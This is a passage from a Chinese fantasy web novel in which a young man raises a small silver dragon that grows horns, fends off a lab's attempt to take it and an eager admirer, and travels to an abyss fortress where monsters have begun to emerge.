祈长夜的手指落在小祈霁软软的脊背上，指腹间的小龙依然温暖而柔软，看似锋利的小爪子，触碰他时也轻如棉花。 “是我见过的最漂亮的小龙。” 圆溜溜的龙瞳弯成月牙，小龙欢快地踢踢踏踏。 美丽的银白小龙，围着祈长夜跳舞，就像一只真正的开屏小孔雀，让他多看了一会。 “有个问题，”他的手指逗逗小龙下巴，“褪鳞是幼龙到成年的过渡，为什么——你还是这么小？” 小祈霁低头，看看自己。 对呀。 为什么？ 第一次做小龙，没有什么经验的小祈霁开始思考起来。 “……”祈长夜拎起这只小龙，“没有下一次褪鳞了，对吧。” 小祈霁飞快点头：“嗷呜。” 鳞片已经长齐啦，龙是不用第二次褪鳞哒。 祈长夜：“没骗我？” 小祈霁点得更快了。 竖起小爪爪，发四。 祈长夜眉目舒展，说：“没关系，慢慢长大也可以。” 他揉揉小祈霁头顶的小肿包，也许，等这里面长出两对漂亮的龙角，小龙就能变成大龙了。 小祈霁软软地贴住他，忽然想起了什么。 【哥哥】 这只小龙飘到祈长夜脸侧，有点警惕的样子。 【我睡着的时候，有没有坏人接近哥哥！】 祈长夜摸摸小龙，手感很好，多摸两下：“没有。” 小祈霁这才稍微放心了一点点，飞到他的头顶，在哥哥发间窝了下来。 像巡视自己领地一样，嚣张地爬来爬去。 被祈长夜抱了下来，带着它出门了。 屋外的阳光暖融融的，照得鳞片闪闪发亮。 小祈霁低头看看自己，溜进了哥哥的衣兜里。 祈长夜拉开衣兜，对上里面那双圆溜溜的龙瞳：“怎么了？” “嗷。” 【哥哥，我这个样子，被他们看到了，会不会给哥哥带来麻烦？】 “不会。”祈长夜抱出小祈霁，平静地说，“不用藏着自己，可以和他们炫耀。” “！” 小祈霁的尾巴翘了起来。 漂亮的银白小龙，飞到哥哥肩上，昂首挺胸，在阳光底下闪烁美丽光泽。 一路上，也的确引来了不少了目光。 “祈队。” 有人上前，和祈长夜打了声招呼。 祈长夜面色平淡，点头回应。 “哎呀，这不是祈队的弟弟吗！”那人视线微低，“真可爱！” 小祈霁低头看看自己，又看看祈长夜，下巴微微昂起了一点。 祈长夜：“是很可爱。” 得到他的回应，那人凑近一点：“不愧是祈队的弟弟，小小年纪就这么可爱，长大以后，肯定更不同寻常！” 小祈霁开始洋洋得意地甩尾巴。 那人再凑近一点：“仔细一看，您弟弟和您长得真像，一看就是亲生的！” 小祈霁：“……？” 它扭过脑袋，只见那人不知何时已经站到了祈长夜面前，一双含笑的眼睛看着他：“祈队，可以和您加个联系方式吗？” 小祈霁：“？？？” 嗷一声抱住哥哥。 不可以！！ “……” 祈长夜的衣角被小祈霁揪住，和它一起走远了。 在外面逛了半天，再回来时，家门前停着一道身影，似乎徘徊已久。 小祈霁龙瞳微眯，飘到祈长夜肩头。 “……哥。” 谢荇回头，露出一双憔悴的眼睛。 “能不能请你……放过我们？” 祈长夜停步，对上他的视线。 昨天，他得到了议事厅的答复。 从芙洛城到乌城，策划了一系列针对他的刺杀的背后主谋，是谢家家主。 因此，谢家将得到惩罚。 “我去求了舅舅，舅舅不愿意见我。回上城之前，我和你说过，谢家有人针对你……但，我没想到，那是我父亲。” 谢荇垂着脑袋，好像被抽去了脊梁骨，有气无力。 “如果早知道他要对你下手，我肯定会去求他别这么做，现在说什么都晚了……” 他说完，停顿了几秒，没有等到答复，眼神黯淡，小心翼翼地抬起头颅。 “我父亲是做了不可原谅的行为，但他失败了，你也没受到什么损失……所以，能不能看在我曾经提醒过你的份上，饶了谢家一次？我保证，谢家绝不会再犯第二次错。” “如果你想，我们可以化干戈为玉帛，从今以后，谢家会全力支持你，成为你的助力。” 他的姿态很低，自觉已经将尊严踩在脚下，只为祈求能够得到一个答复。 祈长夜站在谢荇对面，乌黑眼眸，无波无澜。 “谢家是一把刀，握在别人手中，但，他们自己也选择将刀尖对准了我。” 他的声音平淡。 “接受处罚，远没有到倒台的地步，不像当初的第十席。” “你可以等真到了那天再说。” 如同断头铡落下，谢荇踉跄后退，面庞毫无血色。 他的拳头紧攥，微微颤抖，过了几秒才艰难地冒出一句：“在上城，受到议事厅处罚，就等于被议事厅厌弃，所有家族，那些和谢家结过仇的人，都会迫不及待地来踩我们一脚！” “我已经失去了精神力，这些天来不知有多少人背后嘲笑我，如果谢家也倒了，那我——” 祈长夜向前走去，与他擦肩而过，只留下一句：“既然承担不起后果，从一开始，就别选择。” “哥！” 谢荇豁然转身，似乎想要拉住他——那只手才伸到一半，就僵在了半空。 他对上了一双冰冷的龙瞳。 如同深渊的恶兽，傲慢地霸占着自己的领地，居高临下地盯视他。 谢荇连连后退，双腿一软，直接跌坐在地。 祈长夜头也不回，抬手按在门上。 眼看那扇门扉打开，很快就要关上，面白如纸的谢荇忽然吼出了声：“你救下谢家，就等于获得了谢家家族之位，能够得到一整个家族的助力！” “当年，不就是因为没有家族的庇护，所以薪火小队才——啊！” 一声惨叫，直接掐断剩下的话语。 长街之上，祈长夜扼住谢荇脖颈，将他提地而起，乌黑的眼眸，森冷如出鞘的钢刀。 “这是最后一次，我允许你出现在我面前。” “下次再见，我会直接动手。” 谢荇瞳孔剧张，窒息的痛楚令他下意识挣扎，被剧烈的绝望与恐惧吞没。他急切地喘气，却因为被扼住咽喉，吐不出半个字眼。 世界在天旋地转，仿佛有飓风将他平地卷起，卷向不知何方。 谢荇重重摔在地上，一个翻身，剧烈呕了出来。 等他好不容易抬起大汗淋漓的头颅，才发现自己居然趴在另一条街上，周围，挤满围观他的人。 ——这一刻，谢荇终于体会到了，什么是真正的死亡。 …… 啪叽。 一条银白小龙趴在祈长夜脸上，蹭啊蹭。 祈长夜默默地把八爪鱼一样的小祈霁提溜下来，摇一摇：“怎么了？” 【哥哥，不要在意垃圾的话】 【垃圾就应该丢掉垃圾堆里】 “我没有在意，”祈长夜淡淡地说。 他的目光偏向一边——那是客厅里，一张七人的合照。 “曾经，我以为退让能够避免冲突，但，持刀之人，只会被更锐利的刀锋逼退。” “谢家是一把刀，背后的持刀人，也该随着一起落幕了。” 小祈霁看看他。 高高举起小爪爪。 赞同！ 【哥哥，让我去吃掉他们！】 祈长夜：“。” 他揉揉小龙：“晚上想吃什么？” “——除了人。” 第二天，祈长夜收到克里斯送来的一封信函。 之后一段时间，他并没有出门，因为——小祈霁的脑壳开始痒了。 头痒痒的小龙，时不时用脑壳顶着哥哥，轻轻蹭蹭。 “会很难受吗？”祈长夜坐在沙发间，一下一下摸摸小祈霁的脑袋。 小祈霁摇摇脑袋，表示只是有一点点痒。 祈长夜捏捏小龙爪子：“恭喜，要第一次长脑子了。” 小祈霁：“……” 扑到哥哥怀里，继续蹭蹭。 第二天清晨，祈长夜从清梦中醒来，似有所觉地低头。 一条银白的小龙窝在他的睡衣间，抱着自己的小尾巴，睡成一个标准的小圆圈。 小龙头顶，原本鼓鼓的两个肿包，不见了。 微光之下，一对银白的小角，宛若树木新枝，舒展枝丫。 ——渡过褪鳞期的小祈霁，终于在长齐鳞片之后，又长出了属于自己的龙角。 从这一天起，变成了真正的小龙。 祈长夜安静地看了几秒，抬手，戳一下那对龙角。 “嗷！” 小龙忽然惊醒。 爬来爬去，爬来爬去。 蹿进祈长夜袖子里，缩成一小团。 露在外面的尾巴一抖一抖。 祈长夜：“……？” 片刻后，小祈霁冒出来，顶着两只软软的银白小角，非常委屈地“嗷嗷”两声。 哥哥，刚刚有人碰我的角。 “是吗？”祈长夜默默移开目光，“没看见，谁这么过分。” 小祈霁：“……” 祈长夜伸手，小祈霁啪叽一下，跳到他的掌心。 祈长夜看了两秒。 没忍住，又摸摸那对漂亮的龙角。 小祈霁：“……” “呜。” 小祈霁委屈巴巴地抱紧哥哥的手指。 委屈巴巴地给哥哥摸摸。 第三十章 哥哥，这又是谁 银白的龙角, 也许是因为刚刚新生，格外敏感，被触碰时, 小龙也会随着抖一抖。 祈长夜只是摸了两下, 就收回了手。 他的目光不知是有意还是无意, 又落过小祈霁心口间, 那枚爱心形状的鳞片。 小祈霁：“！” 小祈霁飞快钻进哥哥袖子里, 藏了起来。 祈长夜抬起手腕，看着里面抱着尾巴缩成一小团的小龙。 刚破壳时，光秃秃的幼崽。 现在, 龙角与鳞片皆如银雪般美丽的小祈霁。 他的眼尾微微上扬。 小祈霁：“！” 哥哥真好看。 小龙又悄咪咪冒出了一点脑袋。 阳光铺满被褥, 银白的小龙, 头顶的龙角像钻石雕刻的艺术品。 【哥哥, 哥哥，我是大龙啦】 祈长夜看着一么么大的、在自己身边蹦来蹦去的银白小龙，说：“长出龙角，就是大龙了吗？” 小祈霁非常认真地点点脑袋。 祈长夜：“嗯，是挺大。” “而且, 是很漂亮的大龙。” 小祈霁顿时很得意地抬起龙角，摆摆脑袋。 变成大龙，首先就要抢来一片属于自己的领地。 跳到哥哥头顶, 气势汹汹, 俯瞰高空。 然后要装饰领地！ 把漂亮的晶石堆哥哥头顶。 祈长夜把银白小龙抱下来, 揉一揉，翻身下床。 还没踩到地面, 他就被风托起。微风温柔地绕着他打卷，游走过他身体的每一寸。 【哥哥要去哪里？】 祈长夜抬起手指, 微风又拨动他的指间，就像有一团毛茸茸的幼小生物，黏糊糊地蹭着他。 确切的说，他全身好像都在被蹭蹭。 原来风是毛茸茸的。 就和小祈霁一样。 “哪里都能去吗？” 【天南海北，只要哥哥想去的地方，风都能到】 少年的声音，带点小自豪。 “哦，”祈长夜说，“出门左拐，浴室。” 风嗖嗖带着他过去了。 过了一会，风蹭蹭地下楼。 厨房开始噼里啪啦，叮叮哐哐。 砰！ “……” “…………” 风悄悄地溜了，只剩一只刚刚炸完厨房的小龙，无辜地对哥哥眨巴眨巴眼睛。 上午时分，有人敲响了家门。 “祈队，刚刚接到议事厅赦令，您的祈霁，需要再进行一次血脉检测。” 那几个进化者出示了一张金色的滚动卷轴，落款，是第十席。 小祈霁懒洋洋伸了个懒腰，祈长夜面不改色：“可以。” 议事厅设立的实验室，刚刚穿过长廊，就有人拦在祈长夜面前。 “祈队，按照规矩，前面的区域只有检测对象能够进入——” 祈长夜一言不发，直视他的眼眸。 “……” 那人后退一步，直接让路。 雪白的实验室，小祈霁窝在祈长夜掌中，浅金色的龙瞳随意扫过四周。 旁边的人无意间对上那双龙瞳，心底一惊，飞快低头。 不知为什么，明明这只是一只还没巴掌大的深渊怪物，却令他们胆战心惊。 实验室门扉闭合，一位手持针筒的实验人员上前：“祈队，请配合一下，让我抽取它的血液。” 小祈霁啪叽一下。 歪躺在祈长夜掌心，一副非常柔弱的样子。 祈长夜抬手遮住小龙，淡淡地说：“它晕血，换成仪器。” “可是……” “检测血脉，本就不需要抽血。”祈长夜看着对方，“不是吗。” 实验人员飞快移开目光，似乎有些心虚，将手中的针管收了起来。 检测的仪器被推了出来，祈长夜伸手，托着小祈霁：“去吧。” 小祈霁轻巧地跳到仪器上，溜溜达达，碰碰这边，碰碰那边。 检测结果很快出来，仪器前的实验人员和旁边的人低语：“没检测出帝龙血脉……” “确定吗，要不要重来一次？” “已经是第三遍了……” 祈长夜接住跳回来的小祈霁，平静开口：“既然如此，我们走了。” “恐怕还不行。” 一道声音从他们身后响起，实验室大门打开，一个衣着华丽的男人在数位进化者的拥簇下，走了过来。 “祈队，初次见面，在下是第十席的副官，麦克。” 那个男人露出皮笑肉不笑的表情，盯着祈长夜掌心里的银白小龙。 “具备成长性的深渊怪物，之前可还从未出现过。” “它要留在这里，成为我们的实验对象。” 祈长夜：“他是祈霁，拥有身份卡，不是被随便研究的怪物。” “呵，给一个怪物注册身份卡，祈队真是喜欢异想天开。你知不知道，每一张上城注册的身份卡，都需要经过坐席许可？未经许可私自注册，也是重罪。” 麦克轻蔑地扭头，对随从吩咐。 “调出这个怪物的身份信息，如果没经过议事厅审核，那它的身份卡就是一张无效的废卡。” 小祈霁眯起龙瞳，冷冷地盯着那个人，似有无形的风瞬间汇聚——然后，修长的手指落下，揉揉它的脑袋。 它昂起头，对上祈长夜淡定无澜的眼眸，浅金龙瞳里的冷意一下子消散了。 趴在哥哥肩上，慢悠悠地摇尾巴。 随从敲动镶嵌在手腕的通讯芯片，拨开一道光屏，当着所有人的面，调出了“祈霁”的身份信息。 身份审核——已通过。 在人类通用的关系网络里，“祈霁”这个身份，挂在“祈长夜”这一栏，关系是，“弟弟”。 麦克：“……” 不对！ 这张身份卡，当初未经过审核就被直接注册了出来，虽然他刚才一口一个“废卡”，但他自己也清楚，这其实是合理的。 因为，这是用祈长夜所有功勋点换来的身份卡，完全符合乌城律法，并不需要经过十二座席审核。 然而，关于这张身份卡的审核依然被提交到了议事厅，他们的第十席大人直接驳回，判定这张身份卡无效。 尽管按理来说，他们第十席大人的行为才不符合规则，等于擅自废除了一张已经合理化的身份卡……然而，第十席就是第十席，谁又敢说什么？ 麦克的第一反应是，难道，又是那个第三席在暗中帮他？ 但，仅凭他一人根本做不到这点，除了第一坐席大人之外，想要驳回任何一位坐席的审核，需要至少两位坐席。第三坐席不过是平民出身，并没有其他坐席愿意站在他身边。 所以，到底是哪个不长眼的坐席和第三席联手，要与他们尊贵的第十席大人作对？ 麦克眼珠子转了转，脑子里已经弹出一个答案。 该不会是第十一坐席吧？那个同样平民出身的女人……等着吧，第十席大人迟早会找他们算账。 麦克迅速用自己的权限登录了审核页面，瞳孔微微一定。 这张特殊的身份卡，一共有三道审核信息。 第一道审核信息，的确来自第十席，判定身份卡无效，驳回。 第二道审核信息，来自第三席，判定有效。 第三道审核信息，来自…… 麦克手一抖，迅速关掉了审核页面，没让任何人看见。 再抬头时，他的表情已经和刚才截然不同，脸庞抽动，挤出一个满是讨好的笑容。 “很抱歉，祈队，是我们冒犯了，请您千万要原谅我们。” 说完，他反手甩了旁边的随从一耳光：“都怪你这个蠢货！居然敢质疑祈队的弟弟！” 随从一脸茫然，却也不敢反驳半个字，只能捂住红肿的脸，连连低头，说自己错了。 “祈队，您看，一切和我完全没有关系，都是这个蠢货的错，如果您还不能消气，把他千刀万剐……” 话还没说完，随从脸色大变，直接跪在地上，磕头求饶。 祈长夜漠然地注视这场闹剧，带着小祈霁，径直穿过人群，向外走去。 麦克赶紧后退，弯腰鞠躬，直到那道身影真的远去，才抬起一张满是冷汗的脸庞。 怎么会是……那位坐席？！ 他遍体冰凉，抖着手，再次点开了通讯器。 —— 街道上，一只小龙飘到祈长夜眼前，又慢悠悠飘上去。 过了一会，摘下一片金灿灿的叶子，塞给哥哥。 祈长夜接过叶子，漫步在街上，看着小祈霁飘来飘去，又过一会，给他带来一朵盛放的小花。 银白的小龙，完全不在乎街上其他人的目光，飘在空中，围着哥哥打转。 一棵树的枝头开满漂亮的白花，小祈霁晃晃悠悠飘过去，想摘下一朵，送给哥哥。 下一秒，树里忽然冲出一只黑压压的大鸟，追着小龙就啄。 祈长夜：“……” 那是一种特殊的翼鸟，被乌城豢养，非常有领地意识，经常跑出来啄人。 翼鸟速度极快，尽管如此，也追不上乘着风的小祈霁。 祈长夜就看着这只银白小龙在空中悠悠打转，每次都在翼鸟快要逼近时嗖一下加速，把翼鸟远远甩在了身后，然后又放慢速度，好整以暇地等着翼鸟再追上自己。 活泼又自在的小龙，生来即属于天空。 小祈霁逗弄着翼鸟，过了一会，啪叽一下，扑到哥哥怀里，蹭蹭。 祈长夜抬手护住小龙，对上凶巴巴追过来的翼鸟，翼鸟扑棱了两下翅膀，转眼没影了。 “嗷呜。” 小祈霁从祈长夜怀里昂起脑袋，举起一朵刚刚摘下来的白色小花。 【好看，给哥哥！】 祈长夜接过小花，一片红色的玫瑰花瓣落下。 又一片。 纷纷扬扬，落成花雨，伴随着机械轰鸣，一台直升机悬停于祈长夜的上方，卷起的狂风，洒下漫天花瓣。 “副队长！”直升机里，似乎有人在嚎叫，“你在干什么啊！副队长！” “……” 祈长夜抬手，接住一片玫瑰花瓣，轻轻放到小祈霁脑袋上。 有人从高空直坠而下，砰然落地，溅起一地花雨。 “祈哥！” 那人抬头，灿烂的金发之下，露出一张年轻的脸庞。 “我回来了！” 小祈霁：“？” “？？？” 【哥哥！】 小龙瞬间炸毛了。 【这又是谁！】 祈长夜：“……你是谁？” “你不记得我了吗！我是星星啊！宋星星！”金发蓝眼的青年看着祈长夜，眼睛里好像真的有许多小星星，“四年前，你救下了我，那时我就说，等我成年了，会来找你的！” “现在，我已经是黄金小队的副队长，我来兑现当年的承诺了！” 祈长夜冷静地按住某只已经亮出爪子的超凶小龙，道：“抱歉，我有事，先走了。” “等等！祈哥别走，我还有话——” 话还没说完。 飓风拔地而起，龙卷至大地升腾，直冲苍穹。 宋星星被直接卷回直升机内，然后直升机也被狂风赶出几百米外，转眼没了踪影。 祈长夜：“……” 他低头，一只银白小龙亲昵地拱拱他的脸庞，龙瞳幽深，却发出软软的叫声。 【哥哥，什么事都没发生，回家叭】 30-40 第三十一章 真龙和深渊 高楼之下的一片平地, 一架直升机栽倒在地，从里面爬出几个人。 “我就说和副队长一起回来准没好事！” “上上次是船翻，上次是车祸, 这次连直升机都差点炸了！” 他们大声吐槽着, 检查了一下直升机, 发现并没有哪里损坏。虽然那场龙卷风来得莫名其妙, 但奇迹般的, 都没对他们造成什么伤害。 满地烟尘里，宋星星一把将杂草般的金发撸至脑后，喃喃说：“莫非, 这是上天对我的考验？” “……” 不远处, 祈长夜收回目光, 看向掌心里的小祈霁。 银白小龙无辜地冲他摆摆尾巴, 摊开爪子。 【哥哥，谁都没受伤】 语气里还有一种“我很乖，很听哥哥话”的感觉。 祈长夜无言，敲一下小龙脑壳。 “没有下次，”他说, “不要无端对别人动用能力。” 小祈霁乖乖地趴着，抱住哥哥手指：“昂。” 【那坏人可以吗？】 “坏人我会解决，”祈长夜说, “你只要好好长大就可以了。” 小祈霁弯起龙瞳, 甜甜地应了一声。 下一秒, 这只小龙又昂起脑袋，轻轻将下颌压在祈长夜指间。 【哥哥, 那个人是谁？】 【为什么，哥哥又多了一个“弟弟”】 最后一句话, 少年的声音听不出什么情绪，却无端地咬重了尾音。 祈长夜：“以前的故人，只见过一面。” 那应该是多年前的一次任务，他从废墟里，捞出了一只少年。 这样的旧事并没有在他的记忆里占据太多分量，过去的那些年，他曾经对一些人伸出过手，也被一些手推下深谷，而现在…… 手指被一双小爪子抱住，轻轻摇晃。 祈长夜低头，回应地摇摇那双轻软的小爪子，转身，带着小祈霁向家的方向走去。 回家的路上，小祈霁一直仰着脑袋，浅金色的竖瞳，将祈长夜的侧脸框在其中。 哥哥很好，所以，总是有很多人惦记着他。 一个又一个。 小龙爬到祈长夜肩上，那对银白的龙角勾起几缕柔软的乌黑发丝，纠缠在一起。 想要名正言顺地站在哥哥身边。 它静静地想。 让所有人都知道，哥哥是它的。 这只小龙低头，看了眼自己，浅金色的龙瞳，划过一丝微光。 它还是个怪物。 如果能变成人的话，是不是就能拥有哥哥了？ 人类的双臂，可以抱住哥哥的腰。人类的手指，可以埋入哥哥指间，十指相扣。 它可以肆无忌惮地贴贴哥哥的脸庞，让哥哥感受到自己的体温，让哥哥身上每一寸，都留下它的温度。 这个想法一旦落地，就开始生根发芽。 小龙开始在祈长夜身上爬来爬去，好像要用这种方式，强烈地彰显自己的存在感。 祈长夜垂眼，他并不知道小祈霁在想什么，只是觉得有点可爱，伸了根手指，将小龙晃晃悠悠地钓到掌心里，揉一揉。 【哥哥】 少年在他耳边低语。 【哥哥喜欢什么样的人？】 祈长夜不作他想，逗逗小龙下巴：“你这样的。” 小祈霁：“……” 好像一朵小小的烟花炸开，小龙又开始在他身上乱爬。 爬来爬去，扑到他的怀里，蹭一蹭。 祈长夜接住这只嗷呜嗷呜的小龙，心里划过一丝涟漪。 如果小祈霁变成人的话，会是什么样？ 他乌黑的眉目沉静，倒映出那双闪闪发亮的龙瞳。 漂亮的小龙，应该也会长得很好看。 就算不好看也没关系，他的小龙，总是独一无二的。 —— 第二天清晨，祈长夜肩上趴着一只小龙，随意打开门。 有人捧着一束玫瑰，站在门外，咧开嘴巴，露出灿烂的笑容。 “祈哥早上好！这束花很好看，送给你！” “？？？” 原本还懒洋洋黏着哥哥的小龙嗷一下蹿起来了。 飓风瞬间平地而起，眼看就要将措手不及的宋星星掀飞——祈长夜轻轻按住小祈霁，指腹从脑袋熟练地揉到尾巴尖尖，恰到好处的力度，一下子将小龙的戾气消解了大半，龙瞳也变回了圆溜溜的模样。 气呼呼地跳到哥哥手上，瞪着对面。 宋星星还没反应过来刚刚发生了什么，就见对面的年轻男子向他投来平静的目光：“我和你并不相熟。” “四年前，你救下了我！”宋星星丝毫没有被打击到，满眼仰慕，“那之后，我就一直以你为目标，想要成为可以和你并肩的人！” “知道你回到乌城之后，我非常高兴，可惜那会我还在出任务，所以一回来，我就赶着来见你了！” 他望着面前年轻男子沉静而好看的眉眼，越说越兴奋，没忍住上前一步：“祈哥，你可能已经忘记了，我却还记得很清楚。四年前，我们初遇那天，你把我从废墟里捞出来，告诉我，无论什么时候，都不要放弃活下去的希望，还和我说，会在乌城等我。” “——就是你的这些话，让我鼓起勇气，一直走到了现在！” 时隔四年，宋星星站在这里，依然觉得，祈长夜的眉眼，和那时没什么分别。 清沉而冷静的乌黑眼眸，就像天上高悬的孤月，仅仅是仰望，就让人觉得安宁。 那双修长的手，曾把他从黑暗的地下拽出，那道背影，也曾挡在他面前，为他解决了数不清的可怕怪物，直至将他送到光下。 “没有你，就不会有今天的我。这些年，我一直在想你，直到现在，我终于想清楚了。” 他再次捧起了玫瑰花，大声地说：“我应该是喜欢你的！所以，你能收下我的花吗？” 小祈霁仰起脑袋，一眨不眨地看着祈长夜。 “……” 莫名感觉小龙眼神幽幽的祈长夜冷静地揉揉小龙，心平气和地开口：“谢谢你的花，但，你可能误会什么，错把感激当成了喜欢。” 宋星星连忙摇头：“没有！我已经想得很清楚了！” 他看着祈长夜，声音犹豫起来：“你，你是怪我来晚了吗？” “这些年我没能去找你，因为我一直在努力，加入黄金小队，成为副队长，获得常驻乌城的资格。我觉得，只有自己变得足够优秀，才配站在你面前——” 祈长夜捏住小祈霁亮出的爪子：“你对乌城怎么看。” 他像是随口提及，宋星星眼睛一亮：“乌城很好啊，这里的人都很好，大家都是好人，我喜欢这里！” “……” 小祈霁浅金色的龙瞳扫过对面那个人，懒洋洋地收回爪子。 “知道了，”祈长夜眼眸依然平静，“花你收回去吧，我们可以做个朋友。” 宋星星摸摸脑袋，能得到这句答复，他其实也很开心，毕竟，他本来就不觉得，四年后再相遇，祈哥能第一时间接受他。 但……总感觉哪里不太对劲。 不知是不是他的错觉，祈哥掌心里，那只一开始对他莫名充满敌意的小怪物，眼神都变得奇怪了起来。 ……和队长有时候看他的眼神一样，好像在看什么不太聪明的东西。 管他呢！反正终于和祈哥搭上话了！ 宋星星迫不及待地加上了祈长夜的联系方式，看着通讯器里的那个名字，整个人好像要飘起来了。 “我知道，祈哥你因为和乌城的人有些误会，曾经离开过这里。” “以后，你什么都不用担心，因为你的依靠来了！要是再有误会，我会帮你向他们解释的！” 小祈霁啪一个翻身，仰躺在祈长夜掌心，好像被逗乐了似的，笑得一抽一抽。 宋星星：“？” 祈长夜捂住小龙，平和地说：“谢谢，回家吧。” 街道不远处，一个黄金小队的成员捂住脸：“我现在当做不认识他，还来得及吗。” 另一个成员：“……他谁啊，和我们有关系吗？” 送走了宋星星，祈长夜低头，看着莫名开心的小祈霁。 戳一下。 小祈霁啪地翻过来，摇摇尾巴。 祈长夜的目光落在前方：“他应该被保护得很好，至少，他的队友对他很好。” 【哥哥不要看他，看我】 【我比他好！】 祈长夜低头，捏捏小龙。下一秒，他的通讯器微响，收到数条消息。 小祈霁爬过来，浅金色的龙瞳里，祈长夜乌黑的眼眸微微一凝。 —— 议事厅，黄金长桌。 “诸位，芙洛城传信，深渊的怪物重现于大地之上。” 议事厅首位，第一席不辨喜怒的声音沉沉传下长桌。 “每逢深渊动荡，十二座席必将有人亲至。这次，谁去？” 满厅寂静。 “我推荐一个人选。” 第三席开口。 黄金长桌末端，听到他说出的那个名字，第十席面具下的眼眸晦沉。 又是这个名字……三年前，杀死了上一任第十席。 现在，重新回来，还想取代他的位置不成？ 他站了起来：“我愿意前往。” 无论如何，烧尽的死灰，休想复燃。 —— 芙洛城，深渊要塞。 雅歌面色沉凝，带着一支守备军队，站在百米高墙上，遥望深渊。 就在不久前，塔台检测到数只怪物，从深渊内爬出，踏足大地。 这是近百年来，第一次有怪物主动离开深渊，侵犯人类的领地。 消息当场传至乌城，那几只怪物也被就地解决，它们并不强大，但，这种从未出现过的反常迹象，无异于敲响的警钟，将无形的阴霾笼罩在所有人心头。 要变天了吗？ 雅歌刚刚冒出这个想法，似有所觉，敏锐地仰起头颅。 她的身边，众人惊呼： “变天了！” 风起云涌，狂风搅动整片天空的云层，掀起呼啸的浪涛，滚滚云层之间，似有某种庞大而神圣的身影，若隐若现地穿梭其中。 就像，旧地球时代遗留下来的传说中，真龙自天而降，于风云间隐现面容—— 然后，众人看见，从那气势浩大的狂风之中，一只浑身银白，头顶小角，还没巴掌大的小怪物，扑通跳了下来。 跳到另一个年轻男子的肩上，甩着细长的尾巴，挥动着小爪子，开开心心地蹦蹦跳跳。 众人：“……” 画风是不是不太对。 第三十二章 你们是什么关系 【哥哥, 哥哥，我刚刚好不好看！】 “好看，”祈长夜看着身边活蹦乱跳的小龙, “非常有大龙的风范。” 飘得高高的小祈霁, 听到哥哥的夸夸, 立刻得意洋洋地翘起尾巴。 至于旁边那些无关紧要的人的目光, 它才不在乎。 它只开屏给哥哥看！ 狂风缓缓散去, 湛蓝的天空就像一面被抚平的镜子，万里无云。 要塞的大多数人还沉浸在刚才那场“天变”之中，久久无法回神。 他们的视线落在一个地方, 认出了那位曾经留在芙洛城三年的祈队。 他的身边, 还有一只他们从未见过的生物, 浑身银白如雪, 简直是神明亲手雕琢的造物。 雅歌向那个年轻男子和他的小龙走去，虽然分别的时间并不长，但无论是他，还是他的小龙，都发生了截然不同的变化。 “看来, 这段时间，乌城很精彩啊。”她微微俯身，打量小祈霁, “这是哪个小家伙, 你又捡了一只小崽崽？” 小祈霁：“？” 祈长夜举起银白小龙, 抬起它的一只锋利小爪子：“介绍一下，我的队友, 祈霁。” 小祈霁叉腰，昂首挺胸, 非常得意。 雅歌长长地“哦”了一声：“养得很好嘛，不仅变好看了，还有了人类的身份。” “从深渊出来的怪物想要拥有身份可不是那么容易的事情，你的队长应该付出了很多东西。” 祈长夜看着小龙银白的鳞片，摇摇头：“和它为我付出的，不值一提。” 毕竟，没有人比他更清楚，这一身鳞片背后的代价。 软软的尾巴缠上祈长夜手腕，小祈霁大声地“昂”了一声。 很值一提！ 一样一样的！ 祈长夜：“不一样。” “嗷！” 【一样！】 雅歌：“叽里咕噜说什么呢，听不懂，一锅炖了。” “……” 祈长夜揉揉又溜达到自己身上的小祈霁，说：“深渊出了什么状况。” 雅歌挑了下眉：“谁知道，之前还是天下太平，忽然就从里面跑出了几只怪物。” “这种全世界都没发生过的好事，居然落在了芙洛城头上，太好了，我们还成典型了，说不定以后还能青史留名。” 祈长夜不语，目光越过高墙，落在割裂大地的幽暗深谷之上。 深渊。 最早的记载，深渊出现于一百多年前，一直到今天，始终蛰伏于大地之下。 深渊内诞生数不清的强大怪物，都受到某种力量制约，无法踏足人类的陆地。能被带离深渊的只有弱小的怪物——但，这些怪物在过去的百年间，无一例外，从未主动离开过深渊。 随着深渊的出现，人类也开始进化。进化者探索深渊，发现了价值高昂的晶石——这片不知来源的神秘之地，就像神明赐予人类的礼物，带给他们数不清的利益。 而现在，深渊对于怪物的约束力，似乎降低了。 雅歌弯起手指，一下一下轻敲高墙：“如果只是弱小的怪物，倒还不算麻烦，要是哪天，深渊底层的那些怪物也能爬出来，那可就糟糕了。” “时至今日，人类对于深渊的探索都不够详尽，再强大的进化者也无法在深渊停留太久。我们甚至不知道，里面究竟藏了多少怪物。” 祈长夜抬起乌黑眼睫：“我们走后，深渊再次地震过吗。” 雅歌：“没有，今天以前都是一切正常。” 祈长夜沉思不语。 这次异变……和深渊之底，那具巨龙骸骨有关系吗？ 他和爬到肩头的小祈霁对视，说：“我进去看看。” “现在不行，太危险了。”雅歌拦住了他，“再观察一段时间，看看里面还有没有其他异常。” “你可是我们这最能打的，万一进去后一时半会出不来，我们这又遭遇怪物攻击，那可就麻烦了。” 祈长夜没有意见，带着小祈霁，走过要塞高墙。 驻守要塞的除了芙洛城的士兵，还有从附近一座C级城调来的进化者，此刻都聚集在高墙上。 银白的小龙，银雪般的鳞片与龙角，格外招人瞩目，在要塞飘过一圈，吸引了不少目光。 对此，小祈霁并没有什么反应，浅金色的龙瞳甚至带了几分漠然。 有些眼睛，带着让它讨厌的情绪。 只有哥哥看向它的眼睛，是不一样的。 小龙跳到祈长夜头顶，尾巴有一下没一下，轻轻扫过柔软发丝。 祈长夜路过几个进化者，后者纷纷低头，避开他的眼睛，直到他走远，那些眼睛才抬起，频频流连于他修长的背影之间。 “那就是祈长夜？果然百闻不如一见……” “他不是去上城了吗？” “被赶回来了吧，啧啧，白长了那张脸，居然也讨不了上城大人的欢心吗……” 话还没说完，飓风卷起。 那个人直接被狂风抛下高墙，头朝下，身体如一袋垃圾直线坠落——在他惊叫到变形的脸庞距离地面不到一厘米的时候，停住了。 狂风涌动，差点摔死的进化者又被甩回高墙之上，无论同伴怎么搀扶，都像烂泥一样瘫在地上，根本爬不起来。 一切，只发生在短短数秒间。 祈长夜：“……” 小祈霁从他的头顶探下脑袋，无辜地看着他。 【哥哥，本能反应】 【不小心哒】 “……” 祈长夜拎起小龙，要说什么，声音被直升机的轰鸣掩盖。 金色的直升机悬停高墙，张扬又惹人注目。 “是黄金小队！” “上城第一进化者小队！” 直升机舱门打开，露出一头灿烂的金发。 “祈哥！” 在他人惊异的目光中，宋星星从高空一跃而下，精准无误地跳到了祈长夜面前。 “这次，我们可以并肩作战了！” 